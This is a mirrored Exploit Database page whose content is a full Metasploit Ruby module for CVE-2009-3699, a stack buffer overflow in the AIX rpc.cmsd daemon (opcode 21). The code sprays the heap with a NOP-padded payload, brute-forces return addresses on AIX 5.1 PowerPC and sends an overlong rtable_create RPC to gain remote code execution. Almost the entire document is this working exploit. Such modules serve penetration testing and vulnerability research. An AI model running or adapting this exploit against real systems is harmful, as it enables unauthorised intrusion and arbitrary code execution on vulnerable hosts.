AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 – Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • dos
  平台：

  • aix
• 来源：https://www.exploit-db.com/exploits/16929/

• ##
  # $Id: rpc_cmsd_opcode21.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::SunRPC
  	include Msf::Exploit::Brute
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow vulnerability in opcode 21 handled by
  				rpc.cmsd on AIX. By making a request with a long string passed to the first
  				argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This
  				leads to arbitrary code execution.
  
  				NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where
  				further attempts are not possible.
  			},
  			'Author' =>
  				[
  					'Rodrigo Rubira Branco (BSDaemon)',
  					'jduck',
  				],
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-3699' ],
  					[ 'OSVDB', '58726' ],
  					[ 'BID', '36615' ],
  					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],
  					[ 'URL', 'http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]
  				],
  			'Platform' => [ 'aix' ],
  			'Payload'=>
  				{
  					'Space' => 4104,
  					'BadChars' => "\x00",
  					# The RPC function splits the string by 0x40, watch out!
  					# It's not a payload badchar since we're putting the payload elsewhere...
  					'DisableNops' => true
  				},
  			'Targets'=>
  				[
  					[
  						'IBM AIX Version 5.1',
  						{
  							'Arch' => 'ppc',
  							'Platform' => 'aix',
  							'AIX'=> '5.1',
  							'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x2022dfc8 },
  								#worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },
  								'Stop'=> { 'Ret' => 0x202302c8 },
  								'Step'=> 600
  							}
  						}
  					],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Oct 07 2009'))
  
  	end
  
  	def brute_exploit(brute_target)
  
  		if not @aixpayload
  			datastore['AIX'] = target['AIX']
  			@aixpayload = regenerate_payload.encoded
  		end
  
  		print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])
  
  		begin
  			if (not sunrpc_create('udp', 100068, 4))
  				raise RuntimeError, 'sunrpc_create failed'
  			end
  
  			# spray the heap a bit (work around powerpc cache issues)
  			buf = make_nops(1024 - @aixpayload.length)
  			buf << @aixpayload
  			xdr = XDR.encode(buf, buf)
  			10.times {
  				sunrpc_call(7, xdr, 2)
  			}
  
  			#print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)
  
  			buf = rand_text_alphanumeric(payload_space)
  			buf << [brute_target['Ret']].pack('N')
  
  			xdr = XDR.encode(buf, "")
  			sunrpc_authunix('localhost', 0, 0, [])
  			sunrpc_call(21, xdr, 2)
  
  			handler(sunrpc_callsock)
  			sunrpc_destroy
  
  		rescue Rex::Proto::SunRPC::RPCTimeout
  			# print_error('RPCTimeout')
  		rescue EOFError
  			# print_error('EOFError')
  		end
  	end
  
  end